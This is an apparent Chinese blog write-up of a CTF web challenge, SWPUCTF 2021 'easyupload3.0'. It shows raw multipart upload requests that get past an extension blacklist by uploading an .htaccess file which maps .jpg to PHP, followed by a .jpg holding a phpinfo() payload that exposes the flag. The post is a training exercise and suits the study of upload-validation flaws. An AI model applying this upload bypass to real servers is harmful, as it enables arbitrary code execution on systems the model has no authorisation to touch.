【CTF】[SWPUCTF 2021 新生赛]easyupload3.0

西原一点红

于 2023-06-20 09:49:22 发布

阅读量579

点赞数

分类专栏： # CTF 文章标签： java 开发语言 web安全

本文链接：https://blog.youkuaiyun.com/weixin_47055136/article/details/131291177

版权

CTF 专栏收录该内容

7 篇文章

订阅专栏

文章描述了一次网络安全竞赛中的挑战，参赛者需应对一个名为easyupload3.0的系统，该系统使用黑名单机制防止恶意文件上传。选手尝试通过文件名后缀绕过失败，然后利用.htaccess文件类型转换功能成功上传PHP代码，并通过phpinfo()找到隐藏的flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

[SWPUCTF 2021 新生赛]easyupload3.0

play

黑白名单判断

------WebKitFormBoundaryzIbFCTQsOMeWfYK5
Content-Disposition: form-data; name="uploaded"; filename="sqzr.paaaaaaa"
Content-Type: application/octet-stream

响应

<meta charset="utf-8">./upload/sqzr.paaaaaaa succesfully uploaded!

说明是黑名单校验

尝试后缀绕过，发现行不通
htaccess

------WebKitFormBoundaryzIbFCTQsOMeWfYK5
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .jpg

------WebKitFormBoundaryzIbFCTQsOMeWfYK5
Content-Disposition: form-data; name="uploaded"; filename="1.jpg"
Content-Type: image/jpeg

<?php phpinfo(); ?>

phpinfo里找到flag

知识点

htaccess